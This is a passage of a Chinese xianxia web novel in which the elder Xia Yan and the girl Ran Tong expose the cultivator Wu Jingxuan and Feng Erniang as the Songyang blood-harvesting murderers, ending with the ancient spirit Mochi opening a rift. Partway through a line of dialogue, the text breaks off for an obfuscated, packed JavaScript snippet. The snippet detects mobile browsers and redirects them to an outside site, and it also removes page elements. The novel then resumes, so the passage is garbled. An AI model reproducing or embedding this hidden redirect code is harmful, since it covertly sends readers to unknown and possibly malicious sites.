“七弟出事前一天用法阵联系四弟,说十几年前松阳城附近某地出现了一个巨型地坑,坑内常有毒瘴漫出。影月宗奉离恨天之命防堵,一直以活人精血做祭品,施法阻止瘴气蔓延,这便是松阳人口失踪案的由来。七弟当时还没找到地坑确切的方位,想潜入影月宗打探。四弟让他不忙行动,等约了人手再去。可七弟性子急,说有人怀疑他是失踪案的凶手,不赶紧揪出真凶会毁了他和封家的名声。四弟放心不下,叫我先去瞧瞧。等我赶到松阳时,七弟已遇害了。” 封三郞话尾的语气无比自责,觉得他若早些到场,封七郎便不会死。 老魔叹惋:“怪不得有人说七郎曾在发现尸体的树林里出没,他定是去查案,被目击者误认为凶手,给了歹人陷害他的口实。离恨天只求遏制毒瘴,不管影月宗用什么手段,倒方便吴敬轩混顺摸鱼。” 他不信此事没有更好的解决办法,是离恨天不愿付出。他们历来视人命如草芥,习惯牺牲一部分人来维持表面的秩序。 后面的情况不难推测,封七郎死后,封三郞和封四郎前往影月宗追责。 吴敬轩推封二娘出来挡驾,兄弟俩了解了前后经过,受封二娘阻拦不能找凶手索命,还被迫像过去那样替二姐隐瞒罪行。 老魔规劝封三郞:“你们的包庇纵容已将你二姐推上不归路,如今挽救她的唯一办法是阻止她再犯错。适才你和四郎说准备杀了吴敬轩,我愿助你们一臂之力。” 封三郞怕事情失控,婉拒道:“夏爷虽是一番美意,可封家已劳烦您太多,我们实在不敢再承您的情。” 话犹未尽,漆黑的迷障被万道紫光撕碎,老魔气定神闲地飞入空中,轻笑:“三郎,你若真孝顺就别再固执了,还是说自家人才劝得动你?” 封三郞发觉上了老魔的当,以为他在威胁自己,不禁急恼。 “夏爷,都说您是厚道人,怎么也开始骗人了呢?!” 老魔知道他要倒霉了,有心提醒他,却迟了片刻。 对面山坳里射出一道浅蓝色光柱,流星般拦腰撞向封三郞。 封三郞躲避不及,被狠狠顶飞出去,拖着长长的残影砸断一座山峰,叫乱石断崖轰隆掩埋。 他只当来了敌人,迅猛地冲破障碍,敏锐地捕捉到对方身影。 封五娘怒气腾腾的面孔像一把尖刀扎破他昂扬的斗志,他一傻眼,又被她一拳打入石堆,这回半晌没动静。 封五娘詈斥:“封老三你别装死!给我滚出来!” 声震四野,惊得山林里鸦没鹊静。 石堆松动,封三郎一声不吭爬出来,当五娘落在跟前,他像躲债的遇上债主,吭吭哧哧问:“小五,你怎么来了?” 见他装傻,封五娘更恨了,欲再打他一顿出气又嫌浪费时间,凶神恶煞道:“先前夏爷来问我你和老四的事我就觉得奇怪,刚才跟过来正听到你们说话。你和老四都是不长心的蠢货,为外人不管七弟的冤屈,我真想一人拧掉你们一条手臂,看你们的胳膊肘还敢不敢往外拐!” 封三郞就怕面对此情此景,他嘴巴不如封四郞利索,被妹妹骂得开不了口,连忙扭头回避,恨不能重新钻到地缝里去。 老魔及时过来帮他解围,先让五娘转移注意:“五姑娘来得正好,可愿同我们一道去诛杀吴敬轩?” 五娘明白他在劝架,家丑外扬,她又气又愧,红着眼睛向老魔赔罪:“封家祖上失德,出了这等丑事,让夏爷见笑了。” 老魔安慰:“我和令尊相交莫逆,五姑娘何必拿我当外人看待。三郎四郎固然糊涂,究其用心都是为着维护家庭和睦。即便是你二姐也是受人教唆,善加劝导或能令其改过自新。” 封二娘杀人无数,罪孽深重,只松阳一案在人妖两界都够处极刑。 老魔想封七郎替她冤死了,封家已有人抵偿命债,假如封二娘肯悔改,以他个人来说愿意饶她不死。 提到封二娘,封五娘犹如火上浇油,啐骂:“夏爷休要提那混账东西,我没有这样的姐姐。我来之前已向老爹说明情况,他也疑心老三老四捣鬼。老四回去偷东西必然被老爹逮个正着,且看他如何抵赖!” 原来昨天是封四郞建议封无牙通知舅舅们的。 自天蜈大王物化,金翅公主便和娘家断交,往常封家的孩子们比父母更讨厌两个舅舅,从不理睬对方。 因此封无牙昨晚就对封四郞的反常言行犯嘀咕,再听五娘那么一说,便认定他和封三郎有猫腻,让五娘跟过来查看。 东窗事发,封三郞□□里塞爆竹,承受不住,心想如今唯有将功补过能换回家人谅解,忙恳求老魔:“夏爷,我和老四已经没脸见人了,这便去找那吴敬轩报仇,过后还请您劝劝我爹,让他只当没生我们三姐弟。” 老魔说:“我自会同你一道去锄奸 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这时冉彤正身处豪华客房内,那子涛是大富翁,只这座桂殿兰宫般的庄园便可为证,不砸个千万两银子休想盖出同规格的住宅,再看他和武翩翩出行时的车马排场,日常生活真比王公贵族还奢侈。 冉彤有点相信子涛是妖族了,人族修士不论正魔都不贪图物欲享受,财力精力都花在修大道求长生上。而妖族化形后还要经历凡人的七情六欲试炼,容易沾染这些毛病。 管他是人是妖,早点死了才算好事。 她等老魔等得心神不宁,不能让守在一旁的武翩翩看出来,便双手托着下巴,脸向窗外,假装放空。 武翩翩怕她不适应陌生环境,好心来作陪,叫人送了多种美味的灵果,冉彤一个不吃,还长时间盯着窗外发呆,看上去很烦闷。 “喂,这些果子是我特意叫人准备的,你尝都不尝一口,太不给面子了。” “我在调息,待会儿吃。” 冉彤冲她假笑一下,装模作样打坐。 她行动一贯古灵精怪,武翩翩不想多计较,忽然起念问道:“前天我叫人在那个水池附近逮你,他们后来被一个法术了得的少年困在幻境里,过了许久才脱身。那少年是你的同伴吗?” 冉彤可不能供出老魔,随口说:“什么少年?我不知道。” 武翩翩轻易信了:“可能是路过的高人吧,有些大修士就喜欢捉弄后生,好显摆能耐。” 平常一句话,冉彤却嫌刺耳,反驳:“你不能老把人往坏处想,焉知那前辈不是好心,特意点拨他们呢?” 武翩翩直觉比脑子灵光,认为这话不像冉彤的风格,但又说不出哪里不对劲,琢磨半天憋出一句:“你就会跟我抬杠。” 就冲她这股清澈的愚蠢,冉彤相信她和子涛二娘的罪行无关,多半还是被人卖了反帮对方数钱的倒霉蛋,将来还得费力再救她一次。 “别打坐了,快来尝尝这个。” 武翩翩从盘子里挑了一个白玉枣扔给她。 那枣儿飞到半空突然悬停,武翩翩保持抛物的姿势一动不动,被人施了定身法。 冉彤惊跳起身,发现室外的奴婢们也被定住了,再转身额头正撞在男人宽阔健壮的胸口,松香和蓝色勾起她的欢悦,抬头喜道:“前辈,您终于来了!” 她奔波一天,头发有些蓬乱,老魔好整洁,外人邋里邋遢他眼不见心不烦就是了。对冉彤有照顾义务,悄悄施法替她梳理整齐。 冉彤察觉头发在动,忙伸手去摸,随即猜到老魔在帮她整理发型。 她从小娇生惯养,类似这种来自长辈的关爱不知享受了多少,没觉得有什么特别,顺势娇嚷:“前辈,晚辈今天被秦不羁追杀,后来又遇上昨晚的女妖怪,差点见不到您了。” 她三言两语交代完事情经过,老魔让她回忆二娘子涛的形容,查看她的记忆后确定就是封二娘和吴敬轩。 他看向武翩翩,解除定身法,对她施加了新的咒术。 武翩翩双目似睁非睁,眼神迷离,似乎进入梦游状态。 “前辈在做什么?” “此女可能知晓重要情报,待老夫用梦引术审问她。” 48.污蔑 梦引术比搜魂慢,但不会造成痛苦。 老魔刚才悄悄观察武翩翩对待冉彤的态度,感觉这小白泽并非恶类,便选择使用较为温和的手段审问她。 “你们的祖灵大人是谁?” “祖灵大人名叫墨池,是我们白泽族最伟大的祖先之一。” 老魔见冉彤满脸好奇地盯着他,顺便讲解:“这墨池是传说中的妖界英雄,曾担任兽族妖王,他健在时白泽族十分昌盛,大约五万年前被人族修士所杀,自那以后白泽族便日益凋敝了。” 冉彤不解:“都死了五万年了,怎么还能在人界逗留?难道妖族也能像人族那样修鬼道?” 老魔说:“妖族不能修鬼道,但能用特殊法术将自己变成地缚灵,这样便不会被鬼差抓走。” 他问武翩翩:“墨池是不是和那个子涛达成了交易,一直接受他的供奉?” 武翩翩木讷回答:“我不明白你的意思,子涛修炼‘轮回演圣大法’,已经在祖灵大人指点下转世了九次。祖灵大人会替他保存每一世修行的成果,等到积累出能复原祖灵大人巅峰状态的法力,就将这股血脉之力还给子涛。那时子涛就将变成世上最强的战士,带领白泽族走向复兴。” 见多识广的老魔彻底弄清了“轮回演圣大法”的本质。 “这是上古时期神仙们渡劫使用的‘六道转生逆劫之术’,转世后保留记忆是真的,但并不能继承上一世的修为。墨池教吴敬轩修炼此功,替他保管每一世的修为,等到功成之日再一并传给他。” 冉彤明白过来:“我说呢,那子涛练了那么久的邪功,修为还不如秦不羁和封二娘,搞了半天法力都存起来了。” 今晚他将存入末一笔收益,然后全额提款成为暴发户。 绝不能让他赚到最后这捅金。 老魔取出映真镜还给冉彤。 “亏你想得周到,这镜子今天帮了老夫大忙。” 冉彤惊喜,忙让他继续使用。 “老夫暂时用不着,你快收着吧。” 老魔想陈淳发现追踪禁制解除后定会认出他,他再换形去讨伐吴敬轩便瞒不过那老小子了,用映真镜也是多此一举。 冉彤听说他要去杀吴敬轩,建议他带上武翩翩做人质。 “那个墨池似乎很难对付,晚辈知道您打架很厉害,但想让您少受点累。” 她曾数次在与老魔交手时“以智取胜”,老魔认可她的聪明,愿意接受意见,将武翩翩关进自己的神识空间。 “你也进去吧,这样安全些。” 冉彤不太乐意,嗫嚅:“晚辈想跟着您见世面。” “老夫给你开个观察用的窗口,你在神识空间里也能看到外面的情形。” “……好是好,可终不如身临其境体验得真切。” 她想待会儿的大战定是前所未闻的精彩,现场观摩能获得更多对修行有益的感悟,想尽可能争取更好的学习效果。 这是完全主观的想法,等她客观看待问题马上明白老魔是在保护她,自己不该再对他提过多要求,忙摆着双手道歉:“对不起,晚辈太过分了。” 老魔理解她的上进心,也知道这堂课对她很难得,并且有能力满足她的需求。 “你介意变小一点吗?” “啊?” “老夫教你缩形术,你变小后藏在老夫的衣襟里,以便老夫妥善保护你。” 能去现场,还能多学一门法术,一举两得的好事冉彤怎会拒绝,听老魔教完一遍口诀便急着尝试,施法后嗖地落进一座软绵绵的布料堆,抬头不见天光,身上还□□。 原来她的衣物和随身用品没跟着变小。 她忙解除法术,恢复原状后娇嗔:“前辈,这法术只能缩小本人,难道让晚辈变小以后光着身子吗?” 老魔薄责:“谁让你这么性急,老夫下一句咒语还没教呢,你就迫不及待使用。” 看他压着嘴角,明显在忍笑,冉彤气他害自己出洋相,低头一看立时大窘。 她变回来时没留神,衣服裙裤全穿反了,像个脑袋反背的人偶,说不出的滑稽,赶忙捏诀调整穿戴,随后红脸嘟嘴,一副恼羞成怒的表情。 这时任何轻微的调侃都有调戏嫌疑,老魔自然不会为老不尊,正经道:“你自己马虎,还要怨老夫吗?” “……晚辈怎敢怨您?” “唉,这缩身咒必须配合格物术使用,让随身物品跟着你同比例缩小。” 这次冉彤很耐心地听老魔说出完整的咒语,等他讲解了要点和注意事项再尝试,顺顺利利变成一个四寸高的小人。 老魔伸手让她跳到掌心里,说:“这缩身咒反着念能变大,但依然要记得搭配格物术,否则撑破衣服更要出洋相。” “是,晚辈记住了!” 冉彤的尴尬劲早被欣喜冲淡了,此刻仰望巨人般的老魔,观感又与平时不同。 这人五官精致,比例搭配协调,骨相皮相都很完美,越放大越叫人惊艳。 她像在瞻仰巨型神像,对这极致的美产生顶礼膜拜的念头,忍不住赞叹:“前辈也太好看了,换我变这么大,脸一准像个大馒头。” 类似的话老魔不知听过多少次,往往是麻烦降临的前兆,从她这个小丫头嘴里说出来倒还好。 “馒头更招人待见。” 他将冉彤放到衣襟里,冉彤刚好能从他的领缝探头张望,像坐在上等观众席,视野开阔,体感也很舒适。 “坐好,我们出发了。” 老魔带着她纵身飞到松阳城上空,用神识联系封三郞。 “夏爷,吴敬轩在明月山庄宴请松阳本地修士,总共来了三百多号人。” 明月山庄修建在流经松阳内城中东部的河心洲上,是一座只接待修真者的驿站,也是松阳修真界公用的交际场所。 老魔隐身来到明月山庄,宴会正进行得热闹,封三郎和封五娘分头监视会场,传音老魔说:“吴敬轩这厮向这帮人宣称七弟是凶手,正跟他们邀功呢。” 老魔让冉彤别用神识探查。 “到场的人很多修为比你高,老夫带你进会场,这样不会暴露。” 他体量她的想法,处处关照,这份过人的体贴很令冉彤感激,认为做他的孩子或者徒弟一定很幸福,总能得到最好的教导和保护。 正道修士们聚会不图吃喝,但吹牛唠嗑的程度不亚凡人,美其名曰“论道”,其实没盐没味的废话居多。 吴敬轩作为东道主满场往来应酬,此刻正走到一桌来宾前敬酒,宾客们纷纷恭维他。 “这次全靠吴宗主统帅有方,带领松阳修真界成功诛杀那封七郎,实乃松阳百姓之大幸。” “是啊,那孽畜作恶多端,涂炭生灵,更甚者逍遥法外十余年,令我正道蒙羞。幸得吴宗主英明神武将其诛灭,此等功绩必将铭刻修真史册,为万众所敬仰。” 吴敬轩谦和道:“诸位谬赞了,此番能除此大患绝非吴某一人之功。松阳各派修真同仁皆不辞辛劳,犯险协助,为查案日夜奔波,于关键时刻各显神通围捕凶手,算来都是破案的功臣哪。不过功劳最大的当属离恨天众位道兄,若无他们提供法宝,引领辅助,我等纵努力十倍也难成事。” 他这话是说给在座的离恨天使者听的。 那修士客套道:“吴宗主过誉了,降妖除魔本是我辈职责所在。此番破案,我等不过略尽绵力,吴宗主和各位道友才是主力军,。望今后我们能继续精诚协作,共同维护松阳一地的太平。” 冉彤恨这些人贼喊捉贼,看他们嘻嘻哈哈,大言不惭地互拍马屁,便联想起父母被离恨天和云家害死的仇怨,恨不能撕烂那一张张丑恶的脸。 修士们相互奉承够了,转而众口一词鞭挞封七郎。 “这畜生化形为人,不改蚊蚋恶习,连续十几年杀人吸血,连凡人中的 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封三郞怕妹妹这样动手会遭围攻,忙现身制止。 “小五且慢!” 一些修士认得他俩,急忙向众人示警。人们一齐摆开阵势,但没人敢先出手。这兄妹修为高过在场任何人,谁当出头鸟,谁第一个死。 离恨天的使者想联系陈淳,被吴敬轩传音阻拦。 “陈淳老祖现在来,事情更不好收场,先看看形势再说。” 他说的很有道理,陈淳亲自出面定不能轻纵了二妖,否则面子上不好看。但若采取强硬,等于和封家彻底撕破脸,势必挑起人妖两族的战端。 牵一发动全身,这个责任可没人愿意扛。 “那就请吴宗主先与这两个妖怪交涉,看他们意欲何为。” “遵命。” 吴敬轩有恃无恐地望着封家兄妹,凛然质问:“封三郎,封五娘,今日我松阳修真界在此欢宴,你二人擅自闯进来捣乱,未免太不把我们人族修士放在眼里了。” 封三郞抓牢五娘,厉色斥责:“吴敬轩,你这个惯吃软饭的无耻小人,这十几年松阳的失踪命案都是你做的,我七弟查明你的罪行反被你诬陷杀害,我们做哥哥姐姐的怎能咽下这口气,今日定要你偿命!” 他也不想牵连太多,扩大事态,接着高声宣布:“吴敬轩才是杀人采血的元凶,你们别被他骗了!冤有头债有主,我兄妹都是讲道理的人,劝不相干的人趁早靠边站,若与吴敬轩沆瀣一气,就莫怪我们下狠手!” 异类相斥,修士们大多歧视妖族,内心都偏向吴敬轩,个别明白人也出于从众心理不敢表现出中立态度。 一些人便大张旗鼓反驳封三郞。 “封七郎是你弟弟你们当然替他狡辩,那些遇害者都是被虫妖吸干精血而死,你们蚊子最会吸血,人不是封七郎杀的,莫非是你杀的?” “我们正怀疑你们全家人集体作案呢,你们这会儿跳出来莫不是怕罪行败露?真是不打自招。” “以为炫耀武力我们就会害怕?这案子早已轰动十州,尔等敢造次就是与整个人族为敌!” ……………… 封五娘受不得腌臜气,怒斥三哥:“人家都踩在我们头顶上拉屎了,你还犹豫什么?一群清浊不分的混蛋,干脆都杀了完事!” 老魔此行仍想先替封七郎洗刷罪名,在局势恶化前挡在封家兄妹跟前。 影月宗以外的人都没见过他,一时间群体静声,谨慎地观察这个外貌平常的老者,见他只有化境初期修为,认为不像封家人找来的帮手。 一人先问:“尔是何人,来此作甚?” 老魔从容看向吴敬轩,眼神并不凶狠,却让在场者都体验到了强烈的压迫感。 “我来披露案件真相,封七郎是冤枉的,吴敬轩才是真凶。” 49.吵架 老魔当众抛出一颗留影珠,里面记录了昨晚他对抗徐才等人的影像。 “封七郎已死,这徐才还在杀人采血,你们不觉得情理上说不通吗?” 观者惊诧,冉彤也不例外,更认清了老魔只缺坏心眼,在重大决策上思维还是很精细的。但是不明白他为何不展示与封二娘斗法的影像,明明那段更具说服力。 留影珠里肯定有这段记录,是老鬼故意保留了。 冉彤的修为在现场排末尾,脑袋瓜可能比在场大多数人都灵光,立刻明白老魔是顾忌封家人的颜面才没指认封二娘。 这份厚道很快让他陷入被动。 吴敬轩故技重施,向人们狡辩:“这位道友名叫王武,这留影珠上的影像的确是他的真实经历。吴某在清剿封七郎余孽时便锁定这个徐才是他的爪牙,可惜行动晚了一步,等到他袭击王道友后才将其抓捕归案。昨晚已明正典刑,并当面禀呈陈淳老祖。这王道友却不听解释,硬说徐才是受吴某指使,今早大闹影月宗,伤人毁屋,害本门损失惨重,幸得陈淳老祖及时到场赶跑了他。吴某以为他自知理亏,不会再来闹事,没想到他又跑来这里诬陷。” 这厮像个老练的戏子,面对面指责老魔:“王道友虽是受人之托,急于为封七郎翻案,但也不能枉顾事实,一再造谣中伤。如此咄咄逼人,是可忍孰不可忍!” 冉彤躲在老魔怀里,最先觉察到他的气息里混入了杀意,明显被激怒了。 快骂他啊!赶紧!狠狠地骂! 她默默催促,急得抓耳挠腮,老魔没吭声,其他人先指着他开骂。 “你是封家找来的骗子吧!想帮他们逃脱罪责就反过来污蔑吴宗主!” “陈淳老祖开恩饶你不死,你就以为松阳没人治得了你了,我们大家伙儿可不是吃素的!” 证据只能反映事实,不能纠正人们的想法。 那些固执己见的人总能发挥想象力,创造出合理解释来支撑自身观点,信口指责老魔做伪证,口无遮拦比赛谁骂得更狠更难听。 冉彤分明感受到老魔的怒气,却迟迟没等到他出言反击,突然顿悟:这老鬼可能不会骂人。 她回顾老魔的说话习惯,的确没听他骂过一句脏话。 比如同样是被她狠狠戏耍,其他人都“死丫头”、“臭丫头”不离口,老魔火大到极处也只叫过她“狡猾的丫头”。 他在语言方面似乎也有洁癖,谈吐一贯文雅得体,从不使用粗俗恶毒的词汇和字眼。 上次在树林里看到食尸草开花,换其他人至少会嫌弃一句“好臭”,他却只说“气味闻起来不怎么样”,嘴笨成这样,怎么吵得赢这伙坏蛋嘛,不开口是正确选择。 冉彤替老魔憋屈,封家兄妹更是如此。 封五娘一贯帮理不帮亲,此刻对二姐的怨恨盖过了亲情,高声对老魔说道:“封家家门不幸出此败类,王道友无须替我们遮羞了。那杀人的恶妖不是别个,正是我二姐封毓柔!她和吴敬轩勾搭成奸,被姓吴的的教唆杀人采血,助其修炼魔功,松阳这十几年的人口失踪案都是他俩联手犯下的!” 商陆轮回转世等情况解说起来太复杂,还会牵扯出母亲和两个哥哥协助二姐夫妇杀人的丑事,反对自家不利。因此封五娘聪明地化繁就简,声称吴敬轩和封二娘通奸,情形差不多还方便旁人理解。 老魔在她催促下放出与封二娘斗法的影像,看到证据,部分人沉默了,还有些用屁股决定立场的人坚决否认事实。 “无耻妖邪竟在此血口喷人,就算封二娘是真凶,又与吴宗主何干?杀人行凶还要败坏他人名誉吗!” “吴宗主是有德之人,岂会与女妖同流合污?简直一派胡言,其心可诛!” “你们蚊子精什么地位你们自己该有数,大部分妖怪都看你们不起,不愿与你们通婚,何况人族修士。你们既知凶手是自家人,就该悄悄清理门户,何故到大庭广众下编织谎言,混淆视听?以为拉好人下水就能挽回封家的名声?做梦!” “他们是想让吴宗主为那女妖顶罪吧,真当我们这些人全是傻子。亵渎正道,我看应该罪加一等!” “不管凶手是封二娘还是封七郎,总归都是封家人,换成人族早羞得无地自容了,你们还好意思跑来喊冤,说起来一个个都有上万岁,岁数全活狗身上去了。” “别这么说,几只蚊子而已,狗比它们高贵多了。” 人们放肆的哄笑声像连串耳光密集地拍打着封家人的尊严,封五娘正要杀一儆百,那几个骂得最起劲的修士突然失声。 他们的嘴巴凭空消失,舌头牙齿都叫皮肤密封住,喉咙蠕动发出慌张的呜呜声。 老魔训斥:“不留口德的家伙们,嘴长在你们身上也是浪费!” 中招者和一些暴脾气的人见他施法伤人,愤然动武,未出手先被老魔的灵压制伏,跪在地上动弹不得。 双方都准备好开战,吴敬轩却跳出来紧急叫停。 “事情没弄清楚前就动手倒显得我们理亏,请诸位都冷静,切莫中了小人的奸计!” 他是东道主,说话有分量。修士们有夸他顾全大局的,有夸他大勇若怯的,更有讥贬老魔和封家兄妹奸邪狡诈的。 冉彤质疑吴敬轩的用心,传音提醒老魔:“前辈,按理说姓吴的该巴不得借刀杀人,他肯定在筹划更大的阴谋。” 老魔正监听吴敬轩和离恨天使者的神识对话。 “吴宗主,我看这姓王的比封家人更难缠,还得陈淳老祖亲来才能压服他们。” “尊使勿慌,吴某量这三人不敢轻举妄动,此刻让老祖来局势更易失控。” “吴宗主既这般有把握,那便听你的吧。” 老魔推敲吴敬轩的心态,立刻为他这不合理的做法找到合理的解释,忙向人们发布警报。 “吴敬轩想抢夺你们的精血,所有人马上离开此地!” 他听冉彤说吴敬轩今晚将炼成邪功,事前定会联合封二娘再进行一次大规模的采血行动,选在此时广邀修士聚会并非巧合。 冉彤听了也反应过来,可惜在场者中只她和封家兄妹相信老魔,其余人都在嘲他妖言惑众。 “你们要撒多少谎才够?越说越离谱,侮辱我们没脑子是吧?” “他们肯定有阴谋,多半在外面设了埋伏,出去会有危险!” 老魔没耐心跟这帮蠢人磨蹭,想立即施行武力驱逐,忽听冉彤劝谏:“前辈,让晚辈来试试揭发吴敬轩!” 她不等老魔首肯,嗖地从他衣襟里钻出去,落地变成武翩翩的模样,指着惊愕的吴敬轩大骂:“吴敬轩,你明明有相好的还想骗我嫁给你,太不要脸了!” 又朝着不明所以的人们愤然张扬:“我叫武翩翩,是被姓吴的骗来的!他化名子涛,和那封二娘冒充师徒,哄着我跟他成亲。他们在松阳以南一百里的栖霞谷盖了座庄园,这一年来我都住在那里,你们去看看便知!” 有人知道那座庄园,奇道:“那个地方是有一座很华丽的庄园,听说是某个商户的别墅。” 冉彤尽力叫嚷:“那就是吴敬轩的产业,他还雇了很多散修做仆人,他们都见过他和封二娘,都可以作证!” 她为了骗过吴敬轩,模仿了武翩翩的气息,一些修士觉察到她身上的妖气,质问:“你也是妖吧?估计又是封家人找来的骗子!” 冉彤破口嘲谩:“你看谁都像骗子,八成是骗子世家出身!若脑袋只是摆设,不如换个中看点的!” 刚才她听人们辱骂老魔,早按捺不住激愤想替他出战,上阵小试牛刀就气得对手满脸充血。 吵架的要诀之一是不自证,找准目标持续激烈地输出观点即可。 骂完那人后她全力批判吴敬轩:“别以为我是无依无靠的孤女就会任由你们摆布,我只是单纯并非傻子。为什么骗我说封二娘是你师父?难不成你心目中师父和姘头是一码事,那你怎么不干脆认她做你老娘啊,还能顺便充孝子!” 有映真镜在,吴敬轩辨不出真假,加上武翩翩本身鲁莽冲动,一使性子脑子便作废,所以冉彤发疯骂街也很符合她的行事风格。 他以为武翩翩受老魔和封家人挑唆才如此,先坚口撇清。 “这亦是卑鄙伎俩,我根本不认识此女!” 拥趸们连连应和:“吴宗主不提醒我们也不会相信,稍微清醒点的都知道您这样的文人雅士绝不会看上低俗妖女!” 冉彤就爱跟小人较劲,被吴敬轩的无耻激发了竞争欲,一把扯掉绣花帽露出额头上的犄角。 “吴敬轩,你翻脸不认人是吧?那我也跟你拼了!你们看好,我是纯正的白泽族人,内丹包治百病,想要的这便过来拿!” 她知道武翩翩是吴敬轩重要的筹码,这贼人不可能不管她死活。 说话时已收到老魔传音:“丫头你太乱来了!” 他有能力保护冉彤,仍反对她这种不顾自身安危的冒险行为,怕她养成习惯,以后事事如此。 冉彤没顾上领会他的苦心,还严肃叮嘱:“若有人害我前辈断不可施救,定要逼吴敬轩自己露马脚!” 她故意靠近那些眈眈注视她的修士,向他们挑衅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846661|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们不是认定姓吴的跟我没关系吗?那还不赶紧来抢我的内丹,千载难逢的机会,过了这个村可就没这个店了。” 泽兽内丹是起死回生的无价宝,就是那视钱财如粪土的人也对其梦寐以求,眼见唾手可得谁不心动? 有人问吴敬轩:“在下想取了这女妖的内丹,不知吴宗主允否?” 这是个稳重老实的,多数人比他急躁阴险,一声不吭猝然出手。 坏人都心狠,吴敬轩也赌老魔和封家人不会袖手旁观,和他们比定力。心想即便他们没反应,那些动手的修士修为都比他低,等到最后一刻再阻止也来得及。 冉彤被几十层灵压罩住,罡风剑气仿佛钢丝巨网笼着她,下一刻就要将她肢解粉碎。 她的意识都集中在吴敬轩冷漠的面孔上,眼前金光突闪,替她挡住所有攻击,同时震飞了志在必得的袭击者们。 “擅动者,杀!” 老魔威严的声音如同利刃悬在众人头顶,扼住所有歹念。 可恶,明明就差一点啊! 冉彤急忙传音埋怨:“前辈真沉不住气,这下全完了!” “住口!” 老魔断喝并且严厉瞪视她,锋利目光切断了她的傲慢和莽撞,警醒她不要用侥幸挑战死亡。 另外也让她看到,比起眼前的成败得失,老魔更重视她的安危性命。 其他人只会认为老魔奸计败露,一些伤者直接爬在地上叫骂:“卑鄙小人,这妖女果然是你们一伙的!” 老魔不能再浪费时间,当即念起搬山咒。 地板震动,门窗摇晃,房梁抖落灰尘,屋顶滑下瓦片,整座江心洲缓缓脱离地壳,悬浮而起。 他想将这块土地搬离原位,防止封二娘再用阵法害人。 修士们却误会老魔要行凶,忙联手施法对抗他的法术,数百人合力压制,地块上浮的速度稍稍减弱了。 危机在僵持中爆发。 地板上陡然钻出大片赤红色咒文,以迅雷之势窜上修士们的身体,蚂蟥般狠狠吮吸他们的精血。 老魔忙施法遏制,然而这法阵与施术者命脉相连,不杀死对方便不能停止运转。 “快用归元咒抵御咒文!” 在他的警示和辅助下,部分修为较高的修士运功抵挡,暂时保住性命,更多人彻底沦陷在咒文强大的攻势下,散尽精血变成干尸。 那离恨天使者还未发回过神便被吴敬轩从身后击穿腹腔掏出内丹。 他这才醒悟对方为何阻止他通知陈淳,也意识到老魔等人对他的指控千真万确。 “吴敬轩……你胆敢……” 懊悔来得太迟,吴敬轩下一招掏出他的心脏,连内丹一起捏碎喂食咒文,奸险得意的笑容让他俊美的脸洋溢森森阴气,活像一个正朝全世界施放诅咒的恶魔。 老魔有意放任他杀人,这使者死了便没人能联系陈淳,可替他们免去部分麻烦。 封五娘正协助老魔和三哥镇压吸血法阵,见状撤手扑向吴敬轩,一记黑纹毒刃直劈他的顶门,想先杀了这个祸胎。 她修为强过这歹人太多,一击足以除害。 吴敬轩明知不敌仍泰定地站在原地,封五娘看到一层红光掩盖了他的冷笑,挡下她的攻击,冲破屋顶将吴敬轩卷到了半空中。 她怒火中烧,掀飞整个屋顶,望着那红光形成的光团大骂。 “封毓柔,你还有脸来见我们!” 冉彤躲在老魔架设的护盾里干着急,听到封五娘叫骂,忙循声望去。 只见封二娘闪现在吴敬轩身旁,面无表情地望着地上情形,冷酷目光在与封五娘的怒火相撞时也未有丝毫改变。 吴敬轩毫不客气地责备她:“你动作未免太慢了,险些误了大事。” 封二娘歉意道:“这法阵太复杂,启动要花很长时间,我还得提防暴露,所以迟了些。” 她的柔顺里有宠爱也有敬畏,字字砍中封五娘主管愤怒的神经。 “封毓柔你个没出息的,我今天非杀你了,免得你再丢封家的脸!” 老魔严声叫住她:“五姑娘莫分神,大家伙快出来了!” 这时冉彤也觉察地下涌出冲霄贯地的灵力,如同一头破笼的巨兽咆哮而来,小小的江心洲承载不起它的破坏力,所有缺少防御的事物顷刻间化作齑粉。 一声声类似野鹿嘶鸣的啸吼在漫天土石碎屑中回荡,江面上恶浪翻滚,颠风驰骋,大片黑云受这鹿鸣召唤迅速聚集,对松阳城形成合围之势。 冉彤听出这是白泽兽的鸣叫,那祖灵墨池现身了。 50.山海遗界 她放出神识,想仔细观看这传说中的兽王是何模样,神魂突然被那股强劲的灵力抓住,仿佛一片受狂风裹挟的柔弱羽毛,猛地飞向不知名的深邃空间。 老魔见她被墨池抓走,连忙抛出光索套住她的左腿。 光索在一声高亢的兽吼中断裂,冉彤被囫囵卷入泛着蓝光的空间裂缝,呼喊声戛然而止。 老魔派出分身前去营救,发现那空间是上古时代妖仙开辟的“山海遗界”的碎片之一,只接纳妖怪和拥有妖族血统的人。 裂缝后出现一个百丈高,周身泛着璀璨白光的泽兽灵体,它的四蹄仿佛擎天立柱,尾巴横扫,江水倒流,两边犄角宛如大树,枝丫似乎能顶破苍穹。 “商陆,封二娘,你们辛苦了。本王修为已复,快随我进入山海遗界,完成灵力交接。” 墨池苍老浑厚的话音震得人们双耳欲聋,说完埋头化作光束钻进空间裂缝。 老魔和封家兄妹一齐攻击吴敬轩和封二娘,灵力都被墨池设下的护盾挡住了。 吴敬轩扬眉吐气地俯视他们,讽笑:“想不到吧,祖灵大人一直住在这江心洲,这也是我选择松阳为最终据点,并且修建明月山庄的原因。再过一会儿,你们都将为之前的无礼付出沉重代价,尤其是你,夏炎。” 封五娘以为封二娘向他透露了老魔的身份,怒斥:“封毓柔,夏爷是整个妖族的大恩人,你连他也出卖!” 封二娘木然不语,吴敬轩替她辩解:“你又冤枉二娘了,她之前还向我隐瞒夏炎的身份,否则我已让陈淳杀了他。” 他的视线投向老魔,玩味道:“不过也好,我早想领教你这凡界唯一真仙的高招了。你可一定要在这里等我出来呀,夏仙尊。” 吴敬轩和封二娘一道飞进空间裂缝,封五娘奋起追赶,老魔向正要跟上去的封三郞求助。 “那武翩翩是冉彤冒充的,还请二位代为救护。” 